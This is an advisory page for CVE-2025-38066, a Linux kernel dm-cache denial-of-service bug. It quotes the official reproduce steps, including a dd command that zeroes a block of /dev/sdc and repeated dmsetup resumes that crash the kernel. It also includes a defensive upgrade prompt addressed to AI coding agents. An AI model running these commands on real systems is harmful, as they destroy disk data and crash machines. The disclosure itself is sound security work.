# CVE-2025-38066: dm cache: prevent BUG_ON by blocking retries on failed device resumes

> A local attacker can trigger a kernel BUG_ON crash by repeatedly resuming a corrupted dm-cache device, causing a denial of service.

- **Severity:** Medium 5.5 (`CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`)
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Local or same network only
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 18 Jun 2025
- **Updated:** 11 May 2026
- **Also known as:** AZL-63938, BELL-CVE-2025-38066, DEBIAN-CVE-2025-38066, GHSA-97x5-wjv7-8w72, ROOT-OS-DEBIAN-11-CVE-2025-38066, ROOT-OS-DEBIAN-12-CVE-2025-38066, ROOT-OS-UBUNTU-2204-CVE-2025-38066, ROOT-OS-UBUNTU-2404-CVE-2025-38066, UBUNTU-CVE-2025-38066

## What is CVE-2025-38066?

CVE-2025-38066 is a medium-severity denial of service vulnerability in Debian Debian Linux, published on 18 Jun 2025. It can only be exploited from the same machine or local network, with no action from the victim.

### Official description

In the Linux kernel, the following vulnerability has been resolved:

dm cache: prevent BUG_ON by blocking retries on failed device resumes

A cache device failing to resume due to mapping errors should not be
retried, as the failure leaves a partially initialized policy object.
Repeating the resume operation risks triggering BUG_ON when reloading
cache mappings into the incomplete policy object.

Reproduce steps:

1. create a cache metadata consisting of 512 or more cache blocks,
   with some mappings stored in the first array block of the mapping
   array. Here we use cache_restore v1.0 to build the metadata.

cat <<EOF >> cmeta.xml
<superblock uuid="" block_size="128" nr_cache_blocks="512" \
policy="smq" hint_width="4">
  <mappings>
    <mapping cache_block="0" origin_block="0" dirty="false"/>
  </mappings>
</superblock>
EOF
dmsetup create cmeta --table "0 8192 linear /dev/sdc 0"
cache_restore -i cmeta.xml -o /dev/mapper/cmeta --metadata-version=2
dmsetup remove cmeta

2. wipe the second array block of the mapping array to simulate
   data degradations.

mapping_root=$(dd if=/dev/sdc bs=1c count=8 skip=192 \
2>/dev/null | hexdump -e '1/8 "%u\n"')
ablock=$(dd if=/dev/sdc bs=1c count=8 skip=$((4096*mapping_root+2056)) \
2>/dev/null | hexdump -e '1/8 "%u\n"')
dd if=/dev/zero of=/dev/sdc bs=4k count=1 seek=$ablock

3. try bringing up the cache device. The resume is expected to fail
   due to the broken array block.

dmsetup create cmeta --table "0 8192 linear /dev/sdc 0"
dmsetup create cdata --table "0 65536 linear /dev/sdc 8192"
dmsetup create corig --table "0 524288 linear /dev/sdc 262144"
dmsetup create cache --notable
dmsetup load cache --table "0 524288 cache /dev/mapper/cmeta \
/dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0"
dmsetup resume cache

4. try resuming the cache again. An unexpected BUG_ON is triggered
   while loading cache mappings.

dmsetup resume cache

Kernel logs:

(snip)
------------[ cut here ]------------
kernel BUG at drivers/md/dm-cache-policy-smq.c:752!
Oops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN NOPTI
CPU: 0 UID: 0 PID: 332 Comm: dmsetup Not tainted 6.13.4 #3
RIP: 0010:smq_load_mapping+0x3e5/0x570

Fix by disallowing resume operations for devices that failed the
initial attempt.

Weakness: CWE-617 (Reachable Assertion)

## Which versions are affected by CVE-2025-38066?

It affects 2 products.


Products: Debian Debian Linux, Linux kernel.

## How do I fix CVE-2025-38066?

Apply the vendor's patch.

## Is CVE-2025-38066 being exploited?

There is no known exploitation of CVE-2025-38066 in the wild and no public exploit code.

## Other vulnerabilities in Debian Debian Linux

- [CVE-2015-3306](https://insights.sbomify.com/CVE-2015-3306/): ProFTPD Improper Access Control (critical 10.0, exploited in the wild)
- [CVE-2025-49113](https://insights.sbomify.com/CVE-2025-49113/): RoundCube Webmail Deserialization of Untrusted Data (critical 9.9, exploited in the wild)
- [CVE-2026-24061](https://insights.sbomify.com/CVE-2026-24061/): GNU InetUtils Argument Injection (critical 9.8, exploited in the wild)
- [CVE-2025-39682](https://insights.sbomify.com/CVE-2025-39682/): Linux Kernel Improper Check for Unusual or Exceptional Conditions (critical 9.8, exploited in the wild)
- [CVE-2024-9680](https://insights.sbomify.com/CVE-2024-9680/): Mozilla Firefox Use-After-Free (critical 9.8, exploited in the wild)

## Fix prompt for AI coding agents

```text
Check this codebase for CVE-2025-38066 and fix it if it is affected.

What it is: CVE-2025-38066 is a medium-severity denial of service vulnerability in Debian Debian Linux, published on 18 Jun 2025. It can only be exploited from the same machine or local network, with no action from the victim.
Exploitation: There is no known exploitation of CVE-2025-38066 in the wild and no public exploit code.

Affected product: Debian Debian Linux. No package-level version data is available, so check the vendor advisory linked from the reference page.

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/CVE-2025-38066/ (Markdown: https://insights.sbomify.com/CVE-2025-38066/index.md)
```

## Sources

- CVE record: https://www.cve.org/CVERecord?id=CVE-2025-38066
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-38066
- OSV: https://osv.dev/vulnerability/CVE-2025-38066

---
From sbomify Insights: https://insights.sbomify.com/CVE-2025-38066/
Summaries are generated and may contain mistakes; the official description above is the record.